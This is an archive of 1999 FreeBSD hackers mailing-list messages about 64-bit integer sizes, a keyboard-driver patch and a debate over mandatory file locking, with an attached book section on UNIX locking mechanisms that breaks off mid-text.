Volvo 245DL | ix86,sparc,pmax | > | http://www.jurai.net/~winter | This Space For Rent | ISO8802.5 4ever | > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 18:33: 3 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 3067D16047; Fri, 27 Aug 1999 18:32:55 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from localhost (jkh@localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id SAA28441; Fri, 27 Aug 1999 18:29:21 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: Mark Ovens Cc: Sergey Babkin , Thomas David Rivers , freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG, kdrobnac@mission.mvnc.edu Subject: Re: Intel Merced FreeBSD??? In-reply-to: Your message of "Sat, 28 Aug 1999 02:01:23 BST." <19990828020123.C291@marder-1> Date: Fri, 27 Aug 1999 18:29:21 -0700 Message-ID: <28437.935803761@localhost> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > marder-1:/usr/marko{57}% ./a.out > short == 2 > int == 4 > long == 4 > long long == 8 > marder-1:/usr/marko{57}% But on the Alpha: jkh@beast-> ./foo short == 2 int == 4 long == 8 long long == 8 - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 18:43:29 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from sand.global.net.uk (sand.global.net.uk [195.147.248.109]) by hub.freebsd.org (Postfix) with ESMTP id 790BE14C08; Fri, 27 Aug 1999 18:43:18 -0700 (PDT) (envelope-from mark@globalnet.co.uk) Received: from p89s12a06.client.global.net.uk ([195.147.220.138] helo=marder-1.) by sand.global.net.uk with esmtp (Exim 2.05 #1) id 11KXVg-0008Pi-00; Sat, 28 Aug 1999 02:42:25 +0100 Received: (from mark@localhost) by marder-1. (8.9.2/8.8.8) id CAA00717; Sat, 28 Aug 1999 02:35:02 +0100 (BST) (envelope-from mark) Date: Sat, 28 Aug 1999 02:35:02 +0100 From: Mark Ovens To: "Jordan K. Hubbard" Cc: Sergey Babkin , Thomas David Rivers , freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG, kdrobnac@mission.mvnc.edu Subject: Re: Intel Merced FreeBSD??? Message-ID: <19990828023502.E291@marder-1> References: <19990828020123.C291@marder-1> <28437.935803761@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.3i In-Reply-To: <28437.935803761@localhost>; from Jordan K. Hubbard on Fri, Aug 27, 1999 at 06:29:21PM -0700 Organization: Total lack of Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Aug 27, 1999 at 06:29:21PM -0700, Jordan K. Hubbard wrote: > > marder-1:/usr/marko{57}% ./a.out > > short == 2 > > int == 4 > > long == 4 > > long long == 8 > > marder-1:/usr/marko{57}% > > But on the Alpha: > > jkh@beast-> ./foo > short == 2 > int == 4 > long == 8 > long long == 8 > Which is fair enough, given that Alpha is 64-bit. The original post implied that existing (32-bit) compilers had 64-bit longs (or a mode for 64-bit longs). man cc shows that this (and 64-bit ints) is only for MIPS systems and adds "These options don't work at present." > - Jordan > -- STATE-OF-THE-ART: Any computer you can't afford. OBSOLETE: Any computer you own. ________________________________________________________________ FreeBSD - The Power To Serve http://www.freebsd.org My Webpage http://ukug.uk.freebsd.org/~mark/ mailto:mark@ukug.uk.freebsd.org http://www.radan.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 19: 1: 6 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mycenae.ilion.eu.org (mycenae.ilion.eu.org [203.35.206.129]) by hub.freebsd.org (Postfix) with ESMTP id A82E514E0C for ; Fri, 27 Aug 1999 19:01:00 -0700 (PDT) (envelope-from patrykz@mycenae.ilion.eu.org) Received: from mycenae.ilion.eu.org (localhost [127.0.0.1]) by mycenae.ilion.eu.org (8.9.3/8.9.3) with ESMTP id LAA10828; Sat, 28 Aug 1999 11:58:24 +1000 (EST) (envelope-from patrykz@mycenae.ilion.eu.org) Message-Id: <199908280158.LAA10828@mycenae.ilion.eu.org> To: Mark Ovens Cc: hackers@freebsd.org Subject: Re: Intel Merced FreeBSD??? In-reply-to: Your message of "Sat, 28 Aug 1999 02:01:23 +0100." <19990828020123.C291@marder-1> Date: Sat, 28 Aug 1999 11:58:23 +1000 From: Patryk Zadarnowski Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Fri, Aug 27, 1999 at 08:45:31PM -0400, Sergey Babkin wrote: > > Thomas David Rivers wrote: > > > > > Microsoft needs a "business quality" version of Windows, > > > which it claims is Windows/2000. That version of Windows > > > could benefit from a 64-bit port, if for marketing only; but > > > I don't think it would result in the volume of sales Intel > > > is looking for. > > > > A funny thing is that Microsoft is porting essentially a > > 32-bit version of Windows to Merced. All the programs for > > Windows that want to use 64-bit support will have to be > > modified because the MS compiler defines both int and long > > as 32-bit. On the other hand the Unix compilers (at least > > UnixWare and as far as I understood that's the common Unix > > convention) provide a mode with 64-bit longs that gives > > certain degree of 64-bit awareness just by recompiling. I'm yet to see a 64 bit long on a 32 bit OS. It would be brain-dead, IMO, especially as longs are typically assumed to be as fast as ints. However, most Unix programs are (should be?) designed with portability in mind, and that means making no assumptions about sizeof(long). That's what makes porting U*ix to 64 bit so much easier than porting Wheenbloze.... In the later, everyone thinks that they know every petty detail of the architecture, often down to exact values of pointers.. Incidentally, Windows CE has been running on a 64 bit CPU for quite a while (MIPS R4K), although MIPS went out of its way to make R4K 32bit-compatible at least in the userland. Patryk. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 19:13: 7 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from outmail.utsunomiya-u.ac.jp (outmail.utsunomiya-u.ac.jp [160.12.196.3]) by hub.freebsd.org (Postfix) with ESMTP id 921C314FDA for ; Fri, 27 Aug 1999 19:13:02 -0700 (PDT) (envelope-from yokota@zodiac.mech.utsunomiya-u.ac.jp) Received: from zodiac.mech.utsunomiya-u.ac.jp (IDENT:c5ftcbT117q7iDXJ5vuFPYKpU5Kkznds@zodiac.mech.utsunomiya-u.ac.jp [160.12.42.1]) by outmail.utsunomiya-u.ac.jp (8.9.3/3.7Wpl2) with ESMTP id LAA09143; Sat, 28 Aug 1999 11:12:26 +0900 (JST) Received: from zodiac.mech.utsunomiya-u.ac.jp (zodiac.mech.utsunomiya-u.ac.jp [160.12.42.1]) by zodiac.mech.utsunomiya-u.ac.jp (8.7.6+2.6Wbeta7/3.4W/zodiac-May96) with ESMTP id LAA28670; Sat, 28 Aug 1999 11:16:44 +0900 (JST) Message-Id: <199908280216.LAA28670@zodiac.mech.utsunomiya-u.ac.jp> To: Doug Cc: freebsd-hackers@freebsd.org, yokota@zodiac.mech.utsunomiya-u.ac.jp Subject: Re: Splash screen problem after being interrupted In-reply-to: Your message of "Thu, 26 Aug 1999 23:34:03 MST." <37C6315B.22B08397@gorean.org> References: <37C6315B.22B08397@gorean.org> Date: Sat, 28 Aug 1999 11:16:43 +0900 From: Kazutaka YOKOTA Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Tonight while testing my rc file changes I decided to interrupt the spl >ash >screen display I have to see the boot messages. I hit scroll lock to do >this, and it killed the splash screen, but when I went to log in the >keyboard on the console was pretty much fubar. Every key was mapped to a >different value, and I couldn't even C-A-D to reboot clean, I had to do a >soft reset. > > Obviously this is a "... well don't do that" case, but I'm not sure it >should be fatal. Hopefully this is of use to someone. It depends on when you hit a key... If you happen to hit a key when the keyboard is about to be initialized, or during the keyboard is being initialized, bad thing may happen. The following patch may improbe the situation, by taking longer time to flush the keyboard buffer. Kazu Index: atkbd.c =================================================================== RCS file: /src/CVS/src/sys/dev/kbd/atkbd.c,v retrieving revision 1.13 diff -u -r1.13 atkbd.c --- atkbd.c 1999/08/15 06:06:14 1.13 +++ atkbd.c 1999/08/19 12:08:22 @@ -1154,7 +1189,7 @@ } /* save the current controller command byte */ - empty_both_buffers(kbdc, 10); + empty_both_buffers(kbdc, 200); c = get_controller_command_byte(kbdc); if (c == -1) { /* CONTROLLER ERROR */ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 19:45:28 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from revolution.3-cities.com (revolution.3-cities.com [204.203.224.155]) by hub.freebsd.org (Postfix) with ESMTP id 2187716109; Fri, 27 Aug 1999 19:45:16 -0700 (PDT) (envelope-from kstewart@3-cities.com) Received: from 3-cities.com (kenn1001.bossig.com [208.26.241.1]) by revolution.3-cities.com (8.9.3/8.9.3) with ESMTP id TAA17023; Fri, 27 Aug 1999 19:41:18 -0700 (PDT) Message-ID: <37C74C37.72466A7C@3-cities.com> Date: Fri, 27 Aug 1999 19:40:55 -0700 From: Kent Stewart Organization: BOSSig X-Mailer: Mozilla 4.61 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Mark Ovens Cc: "Jordan K. Hubbard" , Sergey Babkin , Thomas David Rivers , freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG, kdrobnac@mission.mvnc.edu Subject: Re: Intel Merced FreeBSD??? References: <19990828020123.C291@marder-1> <28437.935803761@localhost> <19990828023502.E291@marder-1> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Mark Ovens wrote: > > On Fri, Aug 27, 1999 at 06:29:21PM -0700, Jordan K. Hubbard wrote: > > > marder-1:/usr/marko{57}% ./a.out > > > short == 2 > > > int == 4 > > > long == 4 > > > long long == 8 > > > marder-1:/usr/marko{57}% > > > > But on the Alpha: > > > > jkh@beast-> ./foo > > short == 2 > > int == 4 > > long == 8 > > long long == 8 > > > > Which is fair enough, given that Alpha is 64-bit. The original post > implied that existing (32-bit) compilers had 64-bit longs (or a > mode for 64-bit longs). man cc shows that this (and 64-bit ints) > is only for MIPS systems and adds "These options don't work at > present." We went from a Cray to using an Alpha and there were several things that Dec FORTRAN did. The most prominent besides the 64-bit floating point operations was that you could mask (and, or, xor, and etc.) 64-bit integer values. This was something that was missing in 64-bit longs on HP. Kent > > > - Jordan > > > > -- > STATE-OF-THE-ART: Any computer you can't afford. > OBSOLETE: Any computer you own. > ________________________________________________________________ > FreeBSD - The Power To Serve http://www.freebsd.org > My Webpage http://ukug.uk.freebsd.org/~mark/ > mailto:mark@ukug.uk.freebsd.org http://www.radan.com > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message -- Kent Stewart Richland, WA mailto:kstewart@3-cities.com http://www.3-cities.com/~kstewart/index.html SETI (Search for Extraterrestrial Intelligence) @ Home http://setiathome.ssl.berkeley.edu/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 19:46:59 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id 5445A15492 for ; Fri, 27 Aug 1999 19:46:53 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id MAA18104; Sat, 28 Aug 1999 12:16:59 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id MAA14395; Sat, 28 Aug 1999 12:16:55 +0930 (CST) Date: Sat, 28 Aug 1999 12:16:54 +0930 From: Greg Lehey To: Christian Kuhtz Cc: Thomas David Rivers , bee@wipinfo.soft.net, hackers@FreeBSD.ORG Subject: Re: Mandatory locking? Message-ID: <19990828121654.D13904@freebie.lemis.com> References: <000301beeea6$1ea898a0$88291fac@wipro.tcpn.com> <199908251005.GAA95394@lakes.dignus.com> <19990826090933.T83273@freebie.lemis.com> <19990825195322.D4723@ns1.adsu.bellsouth.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <19990825195322.D4723@ns1.adsu.bellsouth.com>; from Christian Kuhtz on Wed, Aug 25, 1999 at 07:53:22PM -0400 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wednesday, 25 August 1999 at 19:53:22 -0400, Christian Kuhtz wrote: > On Thu, Aug 26, 1999 at 09:09:33AM +0930, Greg Lehey wrote: >> On Wednesday, 25 August 1999 at 6:05:11 -0400, Thomas David Rivers wrote: >>>> All the files under Tandem's NSK has mandatory locking. The file cannot be >>>> opened if another process has it opened. some thing like >>>> >>>> * if the file is opened for reading, any one can open it for >>>> reading but opening for writing gives error >>>> * if the file is open for writing, it can't be opened for >>>> read/write >>>> * if the process holding the file is killed, the lock is gone >>>> * it is possible to get the pid of the process(es) which has >>>> a given file open (like which process has file "xyz" open? >>>> kind of query). btw, is there any way to get this info now in FBSD? >>> >>> This sounds interesting... >>> >>> But - aren't there NFS issues? I mean, in stateless access to >>> a file - how do you know if the process holding the file is killed >>> if it's remote? >> >> NSK is a prorietary operating system ("NonStop Kernel", previously >> known as Guardian, previously known as TOS), not UNIX. There is no >> NFS, and there is no distinction between network access and local >> access: all goes over the message system. When a file is closed, its >> locks are released. > > How does this message system handle releasing stale locks when components > talking to the message system die unexpectedly? Is there some sort of aging, > override or timeout mechanism to purge stale locks? When a process dies unexpectedly, the message system releases all resources which were allocated to it. This includes, of course, closing its files. If the process is on the local processor, the locak processor cleans up. If the local processor dies, the remote systems are informed and do the cleanup for all resources used by processes on that processor. Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 19:55: 7 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id 1BB8E14E0D for ; Fri, 27 Aug 1999 19:54:50 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id MAA18143; Sat, 28 Aug 1999 12:22:13 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id MAA14420; Sat, 28 Aug 1999 12:22:07 +0930 (CST) Date: Sat, 28 Aug 1999 12:22:07 +0930 From: Greg Lehey To: Terry Lambert Cc: wes@softweyr.com, dcs@newsguy.com, chris@netmonger.net, hackers@FreeBSD.ORG Subject: Re: Mandatory locking? Message-ID: <19990828122207.E13904@freebie.lemis.com> References: <19990825155207.Q83273@freebie.lemis.com> <199908251825.LAA06751@usr08.primenet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <199908251825.LAA06751@usr08.primenet.com>; from Terry Lambert on Wed, Aug 25, 1999 at 06:25:31PM +0000 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wednesday, 25 August 1999 at 18:25:31 +0000, Terry Lambert wrote: >>> And how many programmers with nearly (or more than) two decades of UNIX >>> experience it takes to convince someone it really is useful. > > Har! 8-). > >> I must say, I'm really amazed at some of the opinions that have been >> voiced in this thread. Of course, that's all they are, and they show >> the origins of their owners. > > Har again! 8-). I continue to be amazed. That's why I've been keeping out of this discussion. >> Any system with multiple concurrent accesses requires locking. Only >> UNIX uses advisory locking. It almost does the job, so nobody has >> tried to fix things. But that doesn't make it right. > > UNIX doesn't do this _at all_ well for "hosted OS's". > > The NetWare for UNIX product, which I worked on the attributed FS > (with resource forks and multiple namespaces) and the lock coherency > model on is one example. > > We had to add hooks into the fcntl() call in the FS to support > this. > > Something that might be interesting to look at in this regard is > the latest SAMBA code. > > The latest SAMBA code has an OS OPLOCK (Opportunity Locking) API > that it will utilize, if it is present (currently only on IRIX), > which deals with the lock coherency issues. > > Note that since SAMBA externalizes via SMB an interface that has > to implement NetBIOS calls, and those, in turn, externalize via > the DOS INT 2A/2C mechanisms into the file I/O INTs, that SAMBA > has to support mandatory locking. How does it do this under FreeBSD? Does it implement it internally? > In effect, it is an API which externalizes much of the same types > of operations that implement LEASE operations used by the current > FreeBSD NFS server implementation. > > I don't know if this would be quite sufficient (it's been a while > since I did a lease and order of operation audit on the VFS code, > and written up patches to support Jordan's class project of making > the NFS server locking work), but it should be a healthy start > down the right road, I think. > > Might even fix a couple of NFS bugs as a side benefit... > > Anyway, Sean's also right about needing mandatory file locks for > binary emulation of other platforms (some of which Sean coded for). > > Are file locks sufficient for Vinum, Greg? To repeat myself again: none of this is relevant to Vinum. The original problem I was looking out turned out not to require any other locking method than was already present in Vinum. > The current lock structures in FreeBSD are hung off the backing > inodes (of which specfs has none available that are not themselves > abstract), and the spec_advlock() function returns either EOPNOTSUPP > or EINVAL, based on the arguments its given. > > IMO, unless the lock list is hung off the vnode (I guess you > could hang the mandatory locks there, and leave the advisory > ones alone, but that's kind of a waste, especially if the locking > code can be reused), you aren't going to be able to do range > locks on your stripes. Where are advisory locks kept nowadays? I'll discuss this in a separate message. > Am I not understanding how Vinum's RAID 5 is implemented? Are > you using files for the stripes, or are you laying out the disk > as a true RAID 5 controller would lay it out? I'm laying out the disk in the same manner as a hardware RAID-5 controller would do it. Vinum's downward interface is to the disk driver, not the file system. I'll send a separate (hopefully last) message to try and sum up what I'm doing. Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 20:23: 1 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id 9CB8E14F72; Fri, 27 Aug 1999 20:22:35 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id MAA18255; Sat, 28 Aug 1999 12:52:42 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id MAA14583; Sat, 28 Aug 1999 12:52:42 +0930 (CST) Date: Sat, 28 Aug 1999 12:52:42 +0930 From: Greg Lehey To: FreeBSD Committers , FreeBSD Hackers Subject: locking revisited Message-ID: <19990828125241.G13904@freebie.lemis.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary=OgqxwSJOaUobr8KG X-Mailer: Mutt 0.95.4i WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --OgqxwSJOaUobr8KG Content-Type: text/plain; charset=us-ascii After all the stuff that has been said on the last locking thread, I think it's better to restate the case than follow up. It's obvious from the messages in the last thread that a number of otherwise clever people have little understanding or knowledge of the concepts of file locking. I'm appending a hastily worked-over version of the section about locking from "Porting UNIX Software". Here's a summary of what I've been trying to say: All systems which do more than one thing at a time need file locking at some time or another. Since it involves cooperation between potentially unrelated processes, it's an obvious kernel function. Any "solution" requiring cooperation between processes isn't really a solution. As a result, I don't consider advisory locking to be real locking: it's just a kludge. FreeBSD is one of the few operating systems which doesn't have kernel-level locking. If we want to emulate other systems correctly, we *must* have advisory locking. This includes SCO UNIX, System V.4 and Linux. I suspect it also includes Microsoft. All this doesn't leave too much room for arguments about whether locking works or not: it works on all platforms except FreeBSD, and that's only because FreeBSD doesn't implement locking. As a result, I argue that we should implement locking. The questions are: how? I'd suggest three methods which can be individually enabled via sysctls: - System V style. We need this for compatibility with System V. The choice of mandatory or advisory locking depends on the file permissions. - Only mandatory locking. fcntl works as before, but locks are always mandatory, not advisory. I'm sure that this won't be popular, at least initially, but if you don't like it, you don't have to use it.y - Via separate calls to fcntl. fcntl currently has the following command values: #define F_DUPFD 0 /* duplicate file descriptor */ #define F_GETFD 1 /* get file descriptor flags */ #define F_SETFD 2 /* set file descriptor flags */ #define F_GETFL 3 /* get file status flags */ #define F_SETFL 4 /* set file status flags */ #define F_GETOWN 5 /* get SIGIO/SIGURG proc/pgrp */ #define F_SETOWN 6 /* set SIGIO/SIGURG proc/pgrp */ #define F_GETLK 7 /* get record locking information */ #define F_SETLK 8 /* set record locking information */ #define F_SETLKW 9 /* F_SETLK; wait if blocked */ We could add a F_SETMANDLOCK or some such. Any thoughts? Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key --OgqxwSJOaUobr8KG Content-Type: text/plain Content-Disposition: attachment; filename="locking.txt" Content-Transfer-Encoding: quoted-printable File locking F=08File locking ____________ The Seventh Edition did not originally allow programs to coordinate concur= rent access to a file. If two users both had a file open for modification at = the same time, it was almost impossible to prevent disaster. This is an obv= ious disadvantage, and all modern versions of UNIX supply some form of file lock= ing. Before we look at the functions that are available, it's a good ide= a to consider the various kinds of lock. There seem to be two of everyth= ing. First, the granularity is of interest: o file locking applies to the whole file. o range locking applies only to a range of byte offsets. This is somet= imes misleadingly called record locking. With file locking, no other process can access the file when a lock is appl= ied. With range locking, multiple locks can coexist as long as their ranges d= on't overlap. Secondly, there are two types of lock: o Advisory locks do not actually prevent access to the file. They work onl= y if every participating process ensures that it locks the file before acces= sing it. If the file is already locked, the process blocks until it gains = the lock. o mandatory locks prevent (block) read and write access to the file, but do= not stop it from being removed or renamed. Many editors do just this, so = even mandatory locking has its limitations. Finally, there are also two ways in which locks cooperate with each other: o exclusive locks allow no other locks that overlap the range. This is= the only was to perform file locking, and it implies that only a single pro= cess can access the file at a time. These locks are also called also called w= rite locks. Pa= ge 1 File locking o shared locks allow other shared locks to coexist with them. Their = main purpose is to prevent an exclusive lock from being applied. In combina= tion with mandatory range locking, a write is not permitted to a range covered= by a shared lock. These locks are also called read locks. There are five different kinds of file or record locking in common use: o Lock files, also called dot locking, is a primitive workaround use= d by communication programs such as uucp and getty. It is independent of = the system platform, but since it is frequently used we'll look at it brie= fly. It implements advisory file locking. o After the initial release of the Seventh Edition, a file locking pac= kage using the system call locking was introduced. It is still in use toda= y on XENIX systems. It implements mandatory range locking. o BSD systems have the system call flock. It implements advisory file lock= ing. o System V, POSIX.1, and more recent versions of BSD support range locking= via the fcntl system call. BSD and POSIX.1 systems provide only advi= sory locking. System V supplies a choice of advisory or mandatory lock= ing, depending on the file permissions. If you need to rewrite locking code, = this is the method you should use. o System V also supplies range locking via the lockf library call. Again= , it supplies a choice of advisory or mandatory locking, depending on the = file permissions. The decision between advisory and mandatory locking in System V depends on= the file permissions and not on the call to fcntl or lockf. The setgid bit is = used for this purpose. Normally, in executables, the setgid bit specifies that= the executable should assume the effective group ID of its owner group when exe= ced. On files that do not have group execute permission, it specifies manda= tory locking if it is set, and advisory locking if it is not set. For example, o A file with permissions 0764 (rwxrw-r--) will be locked with advi= sory locking, since its permissions include neither group execute nor setgid. o A file with permissions 0774 (rwxrwxr--) will be locked with advi= sory locking, since its permissions don't include setgid. o A file with permissions 02774 (rwxrwsr--) will be locked with advi= sory locking, since its permissions include both group execute and setgid. Page 2 File loc= king o A file with permissions 02764 will be locked with mandatory locking, sinc= e it has the setgid bit set, but group execute is not set. If you list = the permissions of this file with ls -l, you get rwxrwlr-- on a System V sys= tem, but many versions of ls, including BSD and GNU versions, will list rwxrwS= r--. Lock files __________ Lock files are the traditional method that uucp uses for locking serial li= nes. Serial lines are typically used either for dialing out, for example with u= ucp, or dialing in, which is handled by a program of the getty family. Some kin= d of synchronization is needed to ensure that both of these programs don't try= to access the line at the same time. The other forms of locking we describe = only apply to disk files, so we can't use them. Instead, uucp and getty create = lock files. A typical lock file will have a name like /var/spool/uucp/LCK..t= tyb, and for some reason these double periods in the name have led to the term = dot locking. The locking algorithm is straightforward: if a process wants to access a se= rial line /dev/ttyb, it looks for a file /var/spool/uucp/LCK..ttyb. If it finds= it, it checks the contents, which specify the process ID of the owner, and ch= ecks if the owner still exists. If it does, the file is locked, and the pro= cess can't access the serial line. If the file doesn't exist, or if the owne= r no longer exists, the process creates the file if necessary and puts its = own process ID in the file. Although the algorithm is straightforward, the naming conventions are anyt= hing but standardized. When porting software from other platforms, it is absolu= tely essential that all programs using dot locking should be agreed on the lock = file name and its format. Let's look at the lock file names for the de= vice /dev/ttyb, which is major device number 29, minor device number 1. The l= s -l listing looks like: $ ls -l /dev/ttyb crw-rw-rw- 1 root sys 29, 1 Feb 25 1995 /dev/ttyb Pa= ge 3 File locking This describes common conventions: | | System | Name | PID format -----------+--------------------------------+----------------- 4.3BSD | /usr/spool/uucp/LCK..ttyb | binary, 4 bytes 4.4BSD | /var/spool/uucp/LCK..ttyb | binary, 4 bytes System V.3 | /usr/spool/uucp/LCK..ttyb | ASCII, 10 bytes System V.4 | /var/spool/uucp/LK.032.029.001 | ASCII, 10 bytes A couple of points to note are: o The digits in the lock file name for System V.4 are the major device nu= mber of the disk on which /dev is located (32), the major device number of= the serial device (29), and the minor device number of the serial device (1). o Some systems, such as SCO, have multiple names for terminal lines, depen= ding on the characteristics which it should exhibit. For example, /dev/t= ty1a refers to a line when running without modem control signals, and /dev/t= ty1A refers to the same line when running with modem control signals. Cle= arly only one of these lines can be used at the same time: by convention, the = lock file name for both devices is /usr/spool/uucp/LCK..tty1a. o The locations of the lock files vary considerably. Apart from those in= the table, other possibilities are /etc/locks/LCK..t= tyb, /usr/spool/locks/LCK..ttyb, and /usr/spool/uucp/LCK/LCK..ttyb. o Still other methods exist. See the file policy.h in the Taylor = uucp distribution for further discussion. Lock files are unreliable. It is quite possible for two processes to= go through this algorithm at the same time, both find that the lock file doe= sn't exist, both create it, and both put their process ID in it. The result is = not what you want. Lock files should only be used when there is reall= y no alternative. locking system call ___________________ locking comes from the original implementation introduced during the Sev= enth Edition. It is still available in XENIX. It implements mandatory r= ange locking. Page 4 File loc= king int locking (int fd, int mode, long size); locking locks a block of data of length size bytes, starting at the cur= rent position in the file. mode can have one of the following values: | Parameter | Meaning ----------+-------------------------------------------------------------- LK_LOCK | Obtain an exclusive lock for the specified block. If any | part is not available, sleep until it becomes available. LK_NBLCK | Obtain an exclusive lock for the specified block. If any | part is not available, the request fails, and errno is set | to EACCES. LK_NBRLCK | Obtains a shared lock for the specified block. If any part | is not available, the request fails, and errno is set to | EACCES. LK_RLCK | Obtain a shared lock for the specified block. If any part | is not available, sleep until it becomes available. LK_UNLCK | Unlock a previously locked block of data. Figure 1: locking operation codes flock _____ flock is the weakest of all the lock functions. It provides only advisory = file locking. #include (defined in sys/file.h) #define LOCK_SH 1 /* shared lock */ #define LOCK_EX 2 /* exclusive lock */ #define LOCK_NB 4 /* don't block when locking */ #define LOCK_UN 8 /* unlock */ int flock (int fd, int operation); flock applies or removes a lock on fd. By default, if a lock cannot= be granted, the process blocks until the lock is available. If you set the = flag LOCK_NB, flock returns immediately with errno set to EWOULDBLOCK if the = lock cannot be granted. Pa= ge 5 File locking fcntl locking _____________ fcntl is a function that can perform various functions on open files. A nu= mber of these functions perform advisory record locking, and System V also of= fers the option of mandatory locking. All locking functions operate on a st= ruct flock: struct flock { short l_type; /* lock type: read/write, etc. */ short l_whence; /* type of l_start */ off_t l_start; /* starting offset */ off_t l_len; /* len =3D 0 means until end of file */ long l_sysid; /* Only SVR4 */ pid_t l_pid; /* lock owner */ }; In this structure, o l_type specifies the type of the lock, listed below: | value | Function --------+------------------------------------- F_RDLCK | Acquire a read or shared lock. F_WRLCK | Acquire a write or exclusive lock. F_UNLCK | Clear the lock. Figure 2: flock.l_type values o The offset is specified in the same way as a file offset is specifie= d to lseek: flock->l_whence may be set to SEEK_SET (offset is from the begin= ning of the file), SEEK_CUR (offset is relative to the current position= ) or SEEK_EOF (offset is relative to the current end of file position). All fcntl lock operations use this struct, which is passed to fcntl as the = arg parameter. For example, to perform the operation F_FOOLK, you would write: struct flock flock; error =3D fcntl (myfile, F_FOOLK, &flock); The following fcntl operations relate to locking: Page 6 File loc= king o F_GETLK gets 